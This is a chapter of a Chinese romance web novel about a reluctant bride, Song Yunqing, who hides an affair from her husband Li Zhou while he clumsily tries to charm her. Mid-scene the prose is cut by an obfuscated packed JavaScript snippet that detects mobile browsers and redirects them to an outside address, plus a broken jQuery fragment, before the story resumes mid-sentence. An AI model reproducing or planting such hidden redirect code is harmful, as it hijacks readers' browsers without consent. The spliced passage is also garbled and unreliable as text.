宋云卿没再去关注黎洲,她自己也焦灼得不行,小奶狗一直没给她回信,可见这回气得不轻。
刚一到家她就把自己关进了房间,也没去管黎洲干嘛,坐在沙发上一个劲盯着手机看,就连黎洲进来放行李她都没发现。
等再抬头时她那便宜老公已经十分自觉地打开衣柜,准备把自己的衣服放进去。
“你干嘛?”
宋云卿如临大敌,警惕地蹙眉看他。
黎洲倾身的动作一顿,冷淡的眼眸里划过些许困惑,他道,“收拾衣服。”
“?”
宋云卿还没反应过来,“你收拾衣服为什么要来我的房间?阿姨没给你准备房间吗?”
看着宋云卿一副理所当然的模样,黎洲气笑了,他刻意加重语气,“黎太太,我们是夫妻,我为什么要去别的房间。”
哦对。
宋云卿闭嘴了,差点忘了这茬。
但她一个人住习惯了,突然多个男人睡自己身边算怎么回事啊。
一想到黎洲今天之后就要跟自己同床共枕同吃同住她就浑身刺挠,宋云卿苦着脸支吾道:“你能不能……先去客房睡?”
黎洲:“?”
“就是……”她知道自己这个要求很无理,但是黎洲要是住过来她跟小奶狗的奸情还瞒得住吗?
到时候不用说黎洲,她妈就先把她给大卸八块了。
想想就可怕。
宋云卿硬着头皮道:“我晚上不习惯有人睡我身边啊,我会睡不着的,而且这说起来也怪你。”
她丝滑地把锅甩出去,“要不是你新婚那天招呼也不打一声就出国,一走就是半年,说不定我现在早就脱敏了,我不管,你得给我适应时间,我们一步步来。”
“……”
这件事是黎洲理亏,宋云卿也是抓住了这点大做文章,她料定了黎洲不会拿她怎么样,所以才敢这么有恃无恐。
黎洲果然不动了,额角青筋跳了几下后,他直起身深吸口气,“好,那我去客卧,你早点休息。”
等人一走,宋云卿的嘴角就忍不住高高扬起,她反锁了门,做贼般将手机拿出来。
还是没有任何他的消息。
寥寥的几条,还是sale问她最近怎么没去店里,来了一批新款,都为她留好了。
宋云卿没什么心思,随便敷衍了几句,还是忍不住给小奶狗发去了信息:
【怎么不理我呀?真的生气了?】
【你放心,虽然我结婚了,但是这根本不会影响我们之间的感情啊,你先暂时委屈一会儿,等我跟我老公离婚了能分他一半身家呢,到时候姐养你哈!】
一直装死的某人秒回:【你说你要跟谁离婚?!】
宋云卿丝毫没觉得不对,反而兴奋地从床上跳起来:【周周你终于回我啦!】
【我当然是跟我老公离婚啦,结婚之前他说过的,我们俩没有感情,最多两年他就可以跟我离婚。】
当初结婚结得匆忙,她姐被对头公司使绊子,亏了不少钱,眼看着资金链要断,黎家却突然伸出援手,把宋氏救了回来。
但天下没有免费的午餐,黎夫人提起当初两家长辈为孙儿们定下的婚约,原本说的是要是生下来一儿一女,两家就做亲家。
可后来两家人不约而同地生下了两个儿子,黎家生了黎洲,宋家生了宋云起,这事自然也就不了了之。
黎夫人这时候提起,用意自然不必多说。
宋家理所当然地把目光投向了二女儿宋云舒身上。
可宋云舒一听说家里准备让她去联姻,当场就打飞的跑了,留下宋云卿这个小倒霉蛋替她姐擦屁股。
也奇了怪了,事件中心的男主角对此竟然没有发表任何意见,一副听之任之的模样,仿佛新娘换成谁都行,他只负责走个过场。
甚至在领证前,他坐在宋云卿身边,口吻平淡:“我知道你是迫不得已,对我也没有感情,但我是为了应付家里,所以就算要离婚,起码也要等两年。”
这话落到宋云卿耳朵里自然就变成了,两年以后就可以离婚。
她无知无觉地继续噼里啪啦打字:【周周,你知道吗,我今天才发现原来我这么喜欢你,你一定不要跟我分手好吗?】
【……】
良久,那头便秘似的挤出几个字:【能问一下你为什么想离婚吗?】
离婚还需要理由?
当然是因为不喜欢啊。
许是看宋云卿久久没有回复,他又善解人意地换了个问题:【你对你老公有意见?】
有没有意见不重要,重要的是周周好像对她老公很感兴趣啊。
这算什么,外室对大房的好奇心?
就这么短短几分钟,宋云卿已经脑补了一场虐生虐死的爱情大戏。
啧啧啧。
男人呐,虽然嘴上不说,但心里还是在意得要死。
毕竟她就知道没有男人可以抵挡住她的魅力。
这么一想,宋云卿的小尾巴又翘到天上去了,心情颇好地对那头道:【放心叭周周,他是不会威胁到你在我心里的地位的,只要你不跟我分手,我就不会不要你。】
【我知道你一定爱死我了所以才这么在意,我也是捏,不用怀疑我对你的感情。】
【好晚了,睡觉叭,晚安~】
她叽里咕噜自说自话完,将手机一扔,盖上被子倒头就睡,浑然不知某人在隔壁辗转难眠。
—
黎洲的生物钟一向是六点起床,他没有睡懒觉的习惯,但宋云卿不同,她向来是不到中午不起床的。
所以阿姨根本没想到要准备早餐。
见黎洲端正坐在沙发上,阿姨这才想起自己没准备食材,她有些慌乱,“先生,要不您等一会,我现在去买食材?”
黎洲抿了口咖啡,随口道:“阿姨,今天你回去休息吧,我想亲自给太太做饭。放心,工资照发。”
“哎,好嘞!”
有这好事阿姨当然不推辞,忙不迭道了谢便走了。
宋云卿揉着眼睛起床时厨房正好传来油烟机的声音,她理所当然以为阿姨在里面,便道:“阿姨,我今天想吃糖醋小排,谢谢。”
里头似乎含混应了声,不过她没怎么听清,转身刷牙去了。
再出来时餐桌上已经摆满了各式菜肴,甚至桌子两端还点着两根蜡烛。
宋云卿一脸稀奇地坐下。
这阿姨,一把年纪了还搞点小年轻的浪漫,不过她也不想想,跟黎洲这样一张死鱼脸吃饭就是插再多根蜡烛都浪漫不起来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469308|201390||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
厨房里的身影似乎还在忙碌,宋云卿端起一旁的红酒杯放在唇边,冲里面喊了句:“阿姨,别忙了,哪吃得了这么多。”
厨房里那人这才晃了出来,一道分量精致的糖醋小排被放在餐桌上,宋云卿循着那盘菜看去,差点一口红酒喷出来!
黎洲?!
还是没穿衣服的黎洲!
闹哪样啊这是!!!
她瞪大了双眼愣愣地看着黎洲,这人不知道抽的什么风,上身光着就围个围裙,一身腱子肉大喇喇地露着,平日总是梳上去的头发松散地放下来,正一脸无辜地看着她。
“怎么了吗?”
黎洲面不改色,仿佛他做的是一件很平常的事。
宋云卿捏紧拳头,这话应该她来问才对!
“你怎么了?”她咬着牙问,“阿姨呢?廉耻呢?脸面呢?大白天穿成这样什么意思?不对,大白天光成这样什么意思?”
黎洲擦干净手在她对面坐下,轻描淡写地解释:“阿姨家小孙子生病了得回去照顾,所以只好我做饭了,我不习惯衣服上有油烟的味道,就先脱了,怎么了吗?”
“是吗?”
宋云卿半信半疑,但看着黎洲格外真诚的眼睛也没说什么,只道:“那做完饭了你赶紧把衣服穿上吧,多伤风败俗啊,被人看见了影响不好。”
黎洲拿筷子的手一顿,闻言没什么表情,一言不发地起身去了卧室。
也不知道是风吹的还是他没控制好力道,总之卧室门在关上的一瞬间发出巨大的啪的一声,吓得宋云卿一哆嗦。
“神经兮兮的……”
宋云卿摇摇头,起身吹灭了两根蜡烛,没多想这人今天的反常。
在她的认知里黎洲应该是白人饭吃中毒了。
黎洲换完衣服回来,见桌上的两根蜡烛也不翼而飞,他瞥了眼,淡声问:“还合胃口吗?”
“还行。”宋云卿埋头苦吃,一边不忘挑刺,“不够甜,下次多放点糖。”
黎洲夹了块糖醋小排,起身弯腰放进她碗里,“尝尝这个。”
宋云卿抬眼,差点又一口肉梗在喉咙里下不去。
这人今天怎么骚了哄的,刚才不穿衣服,现在虽然穿上了衣服,可风格跟他平时简直大相径庭,一身暗红色v领宽松衬衫,本来领口就够大了,他甚至还不系上面的两颗扣子。
一弯腰,别说胸膛了,就是肚脐眼儿都看得清清楚楚。
这什么破毛病啊……
宋云卿忍不了了,手指飞快地在桌底下打字:
【妞!我觉得黎洲出国一趟人不太对,他怎么变娘了?】
宋云舒:
【?】
【细嗦。】
宋云卿:【他刚才光着膀子做饭!我让他把衣服穿上,他穿了件骚包酒红衬衫,还不扣扣子,我连他肚脐眼儿都看见了!】
【我去,你说国外文化那么开放,他不会被同化了吧?】
【怎么办啊妞妞,我不想以后都要面对一个奇形怪状的黎洲……】
宋云舒:【……】
【懒得喷,滚。】
“?”
没礼貌呢这人。
关上手机,宋云卿斟酌片刻,抬头艰难地问:“那个……你冷不冷啊?”